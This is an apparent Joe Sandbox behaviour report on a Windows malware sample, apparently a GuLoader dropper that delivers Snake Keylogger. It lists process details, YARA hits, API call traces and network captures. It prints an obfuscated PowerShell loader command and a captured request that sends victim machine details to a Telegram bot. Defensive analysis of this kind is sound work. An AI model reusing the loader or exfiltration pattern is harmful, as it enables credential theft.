2024-09-25 14:01:33 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-25 14:01:33 UTC	674	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:01:33 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 24952 Last-Modified: Wed, 25 Sep 2024 07:05:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ftc2d1mpIlb4%2B2yKNwkveRaD3AIFObiMMw5DLKU30ePDlcbngTZkIkqiOfh601sL8Hb2olXbI0VRNz22xIBpxcD54wcZX9Y5K8aW9hV6yrGyrc83parl6Pmz%2FZvgMLry0L8CKuTI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8b8c006fff19e7-EWR
2024-09-25 14:01:33 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-25 14:01:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49721	188.114.97.3	443	8168	C:\Program Files (x86)\Windows Mail\wabmig.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:01:34 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-25 14:01:34 UTC	684	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:01:34 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 24953 Last-Modified: Wed, 25 Sep 2024 07:05:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nt0Stbp647a9uOMr5a8Rt0f6Dll%2FYAYK2ZTSDhWIxqQIW4GOOKy9fSHwjGy5I4xIrXuCowbBkHBjeCbdD0UCZFXVzO%2FaFAOKLpjAJtulDZKR24%2FbPGl6gpQ%2Bs%2F8%2Fm%2Bl9AWaNpxBv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8b8c08794741e6-EWR
2024-09-25 14:01:34 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-25 14:01:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49723	188.114.97.3	443	8168	C:\Program Files (x86)\Windows Mail\wabmig.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:01:36 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-25 14:01:36 UTC	674	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:01:36 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 24955 Last-Modified: Wed, 25 Sep 2024 07:05:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IU4zTsace5To79PjzTSGATUJ1ESHEUamlhDB9rT8G71AGdj15ste1bVxIxy2R6OuonY93L8Fxer2CuYKOE0gm8Pj1aWa8cAp%2F93miuYMg%2BVRVhpMLPIhtTgUf1JcneYemb3TT9mS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8b8c10be4d42af-EWR
2024-09-25 14:01:36 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-25 14:01:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49725	188.114.97.3	443	8168	C:\Program Files (x86)\Windows Mail\wabmig.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:01:37 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-25 14:01:37 UTC	690	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:01:37 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 24956 Last-Modified: Wed, 25 Sep 2024 07:05:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XQNJTu803U9M6hK7MWnpondUN%2BD7Uq1hQrgNSNzHIDmtRsTXKYiZXlfRph7q%2BxKuJDg2fzqddN%2FNfe%2BvwAZB%2BwaW8l75ObgPNfHVJqlo6h0G2MdIpAHTNxX%2FrO1fwX2S%2F%2Fxj%2Ffc%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8b8c1a49c80c80-EWR
2024-09-25 14:01:37 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-25 14:01:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49727	188.114.97.3	443	8168	C:\Program Files (x86)\Windows Mail\wabmig.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:01:38 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-25 14:01:39 UTC	682	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:01:39 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 24957 Last-Modified: Wed, 25 Sep 2024 07:05:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eymueM0mbmMO9igrj3UtcWXmtle%2BZBtDtoIymyPb1YTi3QQkl1QSJE1IN66HVmUK5sij%2BrBdsdf0mxvfAELkt6eI%2FYL7PFXNuuK%2BdGkxC0%2BNgpsGi%2F4FbWfWJhnhQruOU2rqHTTL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8b8c22af1f8c1b-EWR
2024-09-25 14:01:39 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-25 14:01:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49729	188.114.97.3	443	8168	C:\Program Files (x86)\Windows Mail\wabmig.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:01:40 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-25 14:01:40 UTC	674	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:01:40 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 24959 Last-Modified: Wed, 25 Sep 2024 07:05:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q7R1sQlIRtrqi52t6jYg83uRmyeiKkL9e0I3V1bT3fVHPAMnD%2BsbcmGylqoIU5c6izmgvAguwr94EeUuRasKm2zdSXQlNOOhgIctg8dIrJL4%2FQvXWEMt4Zl80Hi48eCApeONnJBg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8b8c2bdaff424b-EWR
2024-09-25 14:01:40 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-25 14:01:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49730	149.154.167.220	443	8168	C:\Program Files (x86)\Windows Mail\wabmig.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:01:41 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:093954%0D%0ADate%20and%20Time:%2025/09/2024%20/%2022:55:52%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20093954%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-09-25 14:01:41 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 25 Sep 2024 14:01:41 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-25 14:01:41 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	10:00:07
Start date:	25/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	750'104 bytes
MD5 hash:	7FBB332B55F872E61C8307E0B5242287
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:00:08
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" -windowstyle minimized "$Sprag=Get-Content 'C:\Users\user\AppData\Local\acneform\Camomiles.Bev';$Depurge=$Sprag.SubString(30781,3);.$Depurge($Sprag)"
Imagebase:	0xb0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.2217265751.000000000B997000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:00:08
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:01:10
Start date:	25/09/2024
Path:	C:\Program Files (x86)\Windows Mail\wabmig.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\windows mail\wabmig.exe"
Imagebase:	0xd50000
File size:	66'048 bytes
MD5 hash:	BBC90B164F1D84DEDC1DC30F290EC5F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000007.00000002.2695880589.0000000022DE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.2695880589.0000000022EE5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	25.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.3%
Total number of Nodes:	1460
Total number of Limit Nodes:	48

Executed Functions

Function 6FF61096 Relevance: 116.1, APIs: 56, Strings: 10, Instructions: 627
filestringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6FF61987: GetCurrentProcess.KERNEL32(?,?,00000000,?,?,?,6FF610E0), ref: 6FF61990
Part of subcall function 6FF61987: GetModuleHandleA.KERNEL32(KERNEL32,?,?,00000000,?,?,?,6FF610E0), ref: 6FF6199E
Part of subcall function 6FF61987: GetProcAddress.KERNEL32(00000000,?), ref: 6FF619BD

GetModuleFileNameW.KERNEL32(?,00000104), ref: 6FF610FA
GlobalAlloc.KERNEL32(00000040,?), ref: 6FF61112
CharPrevW.USER32(?,?), ref: 6FF6113D
GlobalFree.KERNEL32(00000000), ref: 6FF61164
GetTempFileNameW.KERNEL32(?,6FF63088,00000000,?), ref: 6FF61182
CopyFileW.KERNEL32(?,?,00000000), ref: 6FF61198
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,00000000,00000000), ref: 6FF611B0
CreateFileMappingW.KERNEL32(00000000,00000000,00000004,00000000,00000000,00000000), ref: 6FF611BF
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000), ref: 6FF611CD
UnmapViewOfFile.KERNEL32(00000000), ref: 6FF611F7
CloseHandle.KERNEL32(00000000), ref: 6FF611FE
CloseHandle.KERNEL32(00000000), ref: 6FF61205
lstrcatW.KERNEL32(?,6FF63084), ref: 6FF61214
lstrlenW.KERNEL32(?), ref: 6FF6121B
GlobalAlloc.KERNEL32(00000040,?), ref: 6FF6123C
FindWindowExW.USER32(00010432,00000000,#32770,00000000), ref: 6FF61274
FindWindowExW.USER32(00000000), ref: 6FF61277
lstrcmpiW.KERNEL32(00000000,/OEM,00000000), ref: 6FF612B0
lstrcmpiW.KERNEL32(00000000,/MBCS), ref: 6FF612C5
DeleteFileW.KERNEL32(?,error), ref: 6FF612FA
GetVersion.KERNEL32 ref: 6FF61340
GlobalAlloc.KERNEL32(00000040,00000FFE), ref: 6FF613B0
InitializeSecurityDescriptor.ADVAPI32(?,00000001), ref: 6FF613DE
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,00000000,00000000), ref: 6FF613EF
CreatePipe.KERNELBASE(?,?,0000000C,00000000), ref: 6FF61411
CreatePipe.KERNELBASE(?,?,0000000C,00000000), ref: 6FF61424
GetStartupInfoW.KERNEL32(00000044), ref: 6FF61431
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000001,00000010,00000000,00000000,00000044,?), ref: 6FF6147A
lstrcpyW.KERNEL32(?,error), ref: 6FF61490
GetTickCount.KERNEL32 ref: 6FF6149B
WaitForSingleObject.KERNEL32(?,00000000), ref: 6FF614AB
GetExitCodeProcess.KERNELBASE(?,?), ref: 6FF614BE
PeekNamedPipe.KERNELBASE(?,00000000,00000000,00000000,?,00000000), ref: 6FF614CF
GetTickCount.KERNEL32 ref: 6FF614DE
ReadFile.KERNEL32(?,00000000,00000400,?,00000000), ref: 6FF61503
IsTextUnicode.ADVAPI32(6FF630B8,?,00000000), ref: 6FF61529
IsDBCSLeadByteEx.KERNEL32(?,?), ref: 6FF6159D
MultiByteToWideChar.KERNEL32(?,00000000,6FF630B8,00000001,?,00000002), ref: 6FF615C4
lstrcpyW.KERNEL32(?, ), ref: 6FF615F4
GlobalReAlloc.KERNEL32(00000002,00000402,00000042), ref: 6FF61686

Part of subcall function 6FF61948: CharNextExA.USER32(?,0000000A,00000000,6FF630B8,?,6FF616EA,?,00000002,00000002,0000000A), ref: 6FF61974

lstrcpyW.KERNEL32(?,error), ref: 6FF616F8
GetTickCount.KERNEL32 ref: 6FF61716
TerminateProcess.KERNEL32(?,000000FF), ref: 6FF6172D
lstrcpyW.KERNEL32(?,timeout), ref: 6FF6173F
Sleep.KERNELBASE(00000064), ref: 6FF6174C
lstrcpyW.KERNEL32(?,error), ref: 6FF6179C
wsprintfW.USER32 ref: 6FF617BA
CloseHandle.KERNEL32(?,?), ref: 6FF617D8
CloseHandle.KERNEL32(?), ref: 6FF617E0
CloseHandle.KERNEL32(?), ref: 6FF617E5
CloseHandle.KERNEL32(?), ref: 6FF617EA
CloseHandle.KERNEL32(?), ref: 6FF617EF
CloseHandle.KERNEL32(?), ref: 6FF617F4
DeleteFileW.KERNEL32(?), ref: 6FF6180A
GlobalFree.KERNEL32(?), ref: 6FF61819
GlobalFree.KERNEL32(00000002), ref: 6FF61823

Strings

/TIMEOUT=, xrefs: 6FF6128A
D, xrefs: 6FF61313
error, xrefs: 6FF61159, 6FF612DC, 6FF6148A, 6FF616F2, 6FF61796
timeout, xrefs: 6FF61739
, xrefs: 6FF615EC
/MBCS, xrefs: 6FF612BF
/OEM, xrefs: 6FF612AA
@1Wu7Wu, xrefs: 6FF611B0
SysListView32, xrefs: 6FF61266
#32770, xrefs: 6FF6126D

Memory Dump Source

Source File: 00000000.00000002.1450170496.000000006FF61000.00000020.00000001.01000000.00000005.sdmp, Offset: 6FF60000, based on PE: true

Associated: 00000000.00000002.1450157086.000000006FF60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1450186265.000000006FF62000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1450199247.000000006FF63000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1450217071.000000006FF64000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff60000_file.jbxd

Similarity

API ID: File$Handle$Close$Global$Createlstrcpy$AllocProcess$CharCountFreePipeTick$ByteDeleteDescriptorFindModuleNameSecurityViewWindowlstrcmpi$AddressCodeCopyCurrentDaclExitInfoInitializeLeadMappingMultiNamedNextObjectPeekPrevProcReadSingleSleepStartupTempTerminateTextUnicodeUnmapVersionWaitWidelstrcatlstrlenwsprintf
String ID: $#32770$/MBCS$/OEM$/TIMEOUT=$@1Wu7Wu$D$SysListView32$error$timeout
API String ID: 351676774-900835945
Opcode ID: 3cf5bbbf10cc0e90380e5fc429ef39bf523758108e03f28c95f28b85638cb955
Instruction ID: de3f3d862b9619a1d2b2a12a4e7ec63bf6b39e690ea8fa9c92fa87bf30552f3d
Opcode Fuzzy Hash: 3cf5bbbf10cc0e90380e5fc429ef39bf523758108e03f28c95f28b85638cb955
Instruction Fuzzy Hash: 01323472C10219EFDF109FA4C984AEEBBB9FF09754F10416AE515E7260DB31AA94CF60

Function 00403532 Relevance: 81.0, APIs: 32, Strings: 14, Instructions: 464
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 00403555
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?), ref: 00403580
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 00403593
lstrlenA.KERNEL32(UXTHEME,UXTHEME,?,?,?,?,?,?,?,?), ref: 0040362C
#17.COMCTL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403669
OleInitialize.OLE32(00000000), ref: 00403670
SHGetFileInfoW.SHELL32(0042AA28,00000000,?,000002B4,00000000), ref: 0040368F
GetCommandLineW.KERNEL32(00433700,NSIS Error,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004036A4
CharNextW.USER32(00000000,0043F000,00000020,0043F000,00000000,?,00000008,0000000A,0000000C), ref: 004036DD
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00008001,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403815
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403826
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403832
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403846
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040384E
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040385F
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403867
